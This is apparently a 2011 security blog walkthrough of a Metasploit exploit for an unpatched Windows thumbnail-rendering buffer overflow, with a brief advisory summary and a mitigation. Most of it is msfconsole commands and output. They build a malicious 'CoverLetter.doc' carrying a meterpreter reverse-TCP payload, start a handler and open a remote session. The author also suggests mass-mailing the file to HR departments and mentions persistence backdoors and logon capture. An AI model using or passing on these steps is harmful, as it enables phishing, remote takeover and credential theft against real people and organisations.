New Year, New MS Zero Day
With the new year usually brings hope for new changes however it seems to be the same old story with Microsoft. First advisory of the year and already you have to sit around waiting for MS to release a patch. Todays blog posting is based on the new Vulnerability in Graphics Rendering Engine . The guys over at www.metasploit.com has created a working exploit module for this that I was testing and it seem to be working as stated.
According to the note in the module, This module exploits a stack-based buffer overflow in the handling of thumbnails within .MIC files and various Office documents. When processing a thumbnail bitmap containing a negative ‘biClrUsed’ value, a stack-based buffer overflow occurs. This leads to arbitrary code execution. In order to trigger the vulnerable code, the folder containing the document must be viewed using the “Thumbnails” view.
The vulnerability is exploited via malicious thumbnail images that may be attached to various documents (e.g. Microsoft Office documents). The most likely exploit vector would use e-mail attachments. However, it is also possible to use network shares.
There is currently no patch available. However, it is possible to modify the access control list on shimgvw.dll to prevent rendering of thumbnails (this would affect all thumbnails, not just malicious once). See the Microsoft advisory for details.
Affected Platforms:
All current versions of Windows, with the exception of Windows 7 and 2008 R2, are vulnerable.
Mitigation:
There is currently no patch available. However, it is possible to modify the access control list on shimgvw.dll to prevent rendering of thumbnails (this would affect all thumbnails, not just malicious once). See the Microsoft advisory for details.
Test Lab Setup:
- I used Vmware Workstation with two hosts (XP, and BT4)
- I tested this against a Windows XP SP3 host
- I used Metasploit v3.6.0-dev [core3.6 api:1.0] with SVN revision 11471 on BackTrack 4 R2
- Exploit module used can be found under modules/exploits/windows/fileformat/ms11_xxx_createsizeddibsection.rb
Steps Taken:
- Launched msfconsole from within the /pentest/exploits/framework3 directory on my BT4 R2 host, once that was up I then issued the svn up command to ensure I had the latest and greatest.
- Selected my exploit –> msf > use exploit/windows/fileformat/ms11_xxx_createsizeddibsection
- Set filename and Output path –>
msf exploit(ms11_xxx_createsizeddibsection) > set FILENAME CoverLetter.doc
FILENAME => CoverLetter.doc
msf exploit(ms11_xxx_createsizeddibsection) > set OUTPUTPATH opt/metasploit3/msf3/data/exploits
OUTPUTPATH => /opt/metasploit3/msf3/data/exploits
Choosing your Payload: I decided to go with the meterpreter
msf exploit(ms11_xxx_createsizeddibsection) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
Setting up your local host (host you want victim to reverse connect too):
msf exploit(ms11_xxx_createsizeddibsection) > set LHOST 192.168.19.129
LHOST => 192.168.19.129
msf exploit(ms11_xxx_createsizeddibsection) > set LPORT 4545
LPORT => 4545
Next issue the command exploit to create your malicious file:
msf exploit(ms11_xxx_createsizeddibsection) > exploit
[*] Creating ‘CoverLetter.doc’ file …
[*] Generated output file /opt/metasploit3/msf3/data/exploits/CoverLetter.doc
Next we need to setup our reverse handler to listen on port 4545 for any incoming connections once our victim views/open our specially crafter file. We can take this resume file and blast it out to HR departments across the net and just sit back and wait for them to connect back home
.
msf exploit(ms11_xxx_createsizeddibsection) > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.19.129
LHOST => 192.168.19.129
msf exploit(handler) > set LPORT 4545
LPORT => 4545
msf exploit(handler) > exploit
Now once our victim views the file in a thumbnail view, or opens it you should see something like this:
[*] Started reverse handler on 192.168.19.129:4545
[*] Starting the payload handler…
[*] Sending stage (749056 bytes) to 192.168.19.147
[*] Meterpreter session 1 opened (192.168.19.129:4545 -> 192.168.19.147:1591) at Tue Jan 04 20:39:40 -0500 2011
From here you can jump into a shell on the system by issuing the “shell” command, or setup a Persistence Meterpreter backdoor as shown by Carlos, or start Capturing Windows Logons with Smartlocker basically sky’s the limit……Have fun hacking something.
Refernce links:
https://www.microsoft.com/technet/security/advisory/2490606.mspx
http://blog.metasploit.com/2010/12/capturing-windows-logons-with.html
http://isc.sans.edu/diary.html?storyid=10201

















